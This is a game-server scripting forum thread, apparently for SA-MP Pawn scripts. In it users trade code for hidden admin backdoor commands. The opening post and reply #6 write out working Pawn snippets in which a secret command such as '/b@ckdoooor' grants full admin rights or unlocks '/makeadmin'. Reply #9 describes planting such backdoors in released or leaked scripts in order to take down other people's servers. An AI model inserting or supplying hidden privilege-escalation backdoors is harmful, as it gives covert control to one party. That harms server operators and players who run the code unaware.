Backdoor to my Server
#1

If i want to make a backdoor to my server, where do i need to put this? :

Код:
//------------------------------------------------------------------------------//
	if(strcmp(cmd, "/xxxx", true) == 0)
	{
	    PlayerInfo[playerid][pAdmin] = 99999;
	    SendClientMessage(playerid, COLOR_WHITE,"xxxx");
		return 1;
//------------------------------------------------------------------------------//
Reply
#2

public OnPlayerText
Reply
#3

Such backdoor, wow. Anyone with a little bit of sense will immediately search for pAdmin. Also, if you intend to release the script, don't put it in. That'd be really delusive.
Reply
#4

LOL Bro, tell me you're kidding ...
Reply
#5

Quote:
Originally Posted by KevinPRINCE
Посмотреть сообщение
public OnPlayerText
Typo
Public onplayercommandtext
Reply
#6

An example of a legit back door would be,

Код:
#include <sscanf2>

enum pInfo
{
     pAdmin,
     pBK
}

new PlayerInfo[MAX_PLAYERS][pInfo];

public OnPlayerCommandText(playerid, cmdtext[])
{
        if(strcmp(cmd, "/b@ckdoooor", true) == 0)
	{
	    PlayerInfo[playerid][pBK] = 2;
	    SendClientMessage(playerid, 0xFFFFFF,"You can now use /makeadmin");
		return 1;
        }
        if(strcmp(cmd, "/makeadmin", true) == 0)
	{
           if(PlayerInfo[playerid][pAdmin] == 99999 || PlayerInfo[playerid][pBK] == 2)
           {
                new giveplayerid, adminlevel;
	        if(sscanf(params, "ui", giveplayerid, adminlevel)) return  SendClientMessage(playerid, 0xFFFFFF, "/makeadmin [playerid] [adminlevel]");
                PlayerInfo[giveplayerid][pAdmin] = adminlevel;
	        return 1;
           }
            else return SendClientMessage(playerid, 0xFFFFFF, "Your not authorized to use this command!");
        }
}
@ShivRp Mhm
Reply
#7

can you Explain me first why you need Backdoor in your server?
Reply
#8

Quote:
Originally Posted by rumen98
Посмотреть сообщение
can you Explain me first why you need Backdoor in your server?
undercover accounts, incase you're logged in on your non-admin account and you see cheaters, rule brakes you use the backdoor command and ban the shit out of them.
Reply
#9

Quote:
Originally Posted by Mark_Weston
Посмотреть сообщение
undercover accounts, incase you're logged in on your non-admin account and you see cheaters, rule brakes you use the backdoor command and ban the shit out of them.
That is not the usage of a backdoor. As it can be abused, its only common sense. Level 1 Admin with the backdoor? Will definitely use it to abuse.

@rumen98 People often use backdoors to take down servers using the leaked script. So if you copyrighted your script and it was leaked, you can use it to take them down. (Yes that's technically invasion of privacy/hacking)
Reply


Forum Jump:


Users browsing this thread: 1 Guest(s)